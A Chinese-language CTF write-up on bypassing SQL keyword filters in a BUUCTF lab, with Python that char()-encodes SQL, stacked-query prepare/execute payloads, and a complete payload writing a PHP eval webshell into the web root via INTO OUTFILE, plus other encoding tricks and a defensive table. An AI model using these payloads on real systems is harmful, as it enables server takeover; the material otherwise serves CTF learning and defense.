手把手教你用Python脚本绕过SQL过滤,在BUUCTF靶场实战GetShell
Python自动化SQL注入:从字符编码到实战GetShell的高级技巧
在CTF竞赛中,SQL注入始终是Web安全赛道的核心考点。当面对严格的关键词过滤时,传统的手工注入往往举步维艰。本文将深入探讨如何通过Python脚本自动化构造char()编码Payload,结合堆叠注入与预处理语句实现高级绕过,最终在BUUCTF靶场完成GetShell的全过程。
1. 理解SQL注入过滤与编码绕过的本质
现代Web应用通常会部署WAF或自定义过滤机制来防御SQL注入。典型的过滤策略包括:
- 关键词黑名单:过滤select、union、and、or等敏感词
- 特殊字符限制:禁止管道符(|)、与符号(&)等运算符
- 语法结构检测:识别非常规的SQL语句拼接
面对这些限制,char()函数编码提供了一种优雅的绕过方案。其核心原理是将原始SQL语句的每个字符转换为对应的ASCII十进制数值,通过char()函数重组执行。例如:
# 原始语句 original = "select 'test'" # 转换后 encoded = "char(115,101,108,101,99,116,32,39,116,101,115,116,39)"这种编码方式具有三个显著优势:
- 规避关键词检测:WAF无法直接识别被拆解的字符序列
- 保留完整功能:重组后的语句与原始SQL语义完全一致
- 灵活组合:可与预处理语句等特性结合使用
2. 构建自动化编码转换工具
手工转换char()编码效率低下且容易出错。下面我们开发一个Python脚本来自动化这个过程:
def sql_to_char(sql_statement): char_codes = [] for i, char in enumerate(sql_statement): code = ord(char) if i == 0: char_codes.append(f"char({code}") else: char_codes.append(f",{code}") return ''.join(char_codes) + ")" # 示例:转换写入WebShell的语句 webshell_sql = """select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/shell.php'""" encoded_payload = sql_to_char(webshell_sql) print(encoded_payload)这个基础版本可以进一步优化:
- 分块处理:避免生成过长的char()序列导致执行失败
- 随机混淆:插入无关参数干扰WAF检测
- 多编码支持:支持hex、unicode等替代编码方式
3. 堆叠注入与预处理语句的完美组合
单纯的char()编码还不够,我们需要利用堆叠注入(Stacked Queries)和预处理语句(Prepared Statements)构建完整攻击链:
payload_template = """ 2;set @sql={encoded_sql}; prepare stmt from @sql; execute stmt; """ def build_full_payload(encoded_sql): return payload_template.format(encoded_sql=encoded_sql)这种组合攻击的工作流程:
- 通过分号(;)执行堆叠注入
- 将编码后的SQL存入变量
- 准备预处理语句
- 最终执行恶意操作
注意:堆叠注入的成功与否取决于后端数据库配置,MySQL在PHP中通常不支持,但在某些框架下可能生效
4. 实战BUUCTF靶场突破
以[SUCTF 2018]MultiSQL题目为例,演示完整攻击流程:
- 识别注入点:发现?id参数存在布尔盲注特征
- 绕过过滤:确认select、union等关键词被过滤
- 验证堆叠注入:测试分号是否能够执行多语句
- 构造Payload:
webshell = "<?php eval($_POST['cmd']);?>" path = "/var/www/html/favicon/shell.php" sql = f"select '{webshell}' into outfile '{path}'" encoded = sql_to_char(sql) full_payload = build_full_payload(encoded) print(f"最终Payload: ?id={urllib.parse.quote(full_payload)}")- 执行验证:访问写入的shell.php确认WebShell生效
5. 防御视角:如何防护此类攻击
作为开发者,应当采取多层防御策略:
| 防御层 | 具体措施 | 有效性 |
|---|---|---|
| 输入过滤 | 参数化查询 | ★★★★★ |
| 权限控制 | 限制数据库写权限 | ★★★★☆ |
| 配置加固 | 禁用堆叠查询 | ★★★★☆ |
| WAF规则 | 检测char()编码模式 | ★★★☆☆ |
| 日志监控 | 审计异常查询行为 | ★★★★☆ |
特别提醒几个关键防御点:
- 禁用多语句执行:修改数据库配置
allowMultiQueries=false - 限制文件写入:撤销数据库用户的FILE权限
- 过滤特殊字符:即使使用参数化查询也应过滤分号等符号
6. 扩展技巧:其他编码绕过方法
除了char()编码,CTF中还常见以下绕过技术:
十六进制编码:
SELECT 0x73656C656374202A2066726F6D207573657273CONCAT拼接:
SELECT CONCAT('sel','ect') FROM users注释混淆:
SEL/*xxx*/ECT * FROM users大小写变异:
SeLeCt * FrOm users双重URL编码:
%2520代替空格
每种方法都有其适用场景和限制条件,实际测试中往往需要组合使用。
7. Python自动化测试框架集成
将上述技术整合到自动化测试工具中:
class SQLiEncoder: def __init__(self): self.encoders = { 'char': self._char_encode, 'hex': self._hex_encode, 'unicode': self._unicode_encode } def _char_encode(self, sql): codes = [str(ord(c)) for c in sql] return f"char({','.join(codes)})" def generate_payloads(self, sql): return {name: encoder(sql) for name, encoder in self.encoders.items()}这个框架可以:
- 一键生成多种编码Payload
- 自动测试不同注入点
- 记录成功绕过的方式
- 生成详细的测试报告
8. 真实环境与CTF的区别
虽然CTF中的技术具有教育意义,但真实环境存在重要差异:
- 防护措施更完善:商业WAF具备行为分析能力
- 后果更严重:非法渗透可能涉及法律责任
- 环境更复杂:网络架构、权限控制多层级
- 漏洞更隐蔽:通常需要链式利用多个弱点
建议仅在授权测试环境中实践这些技术,并始终遵循道德准则。
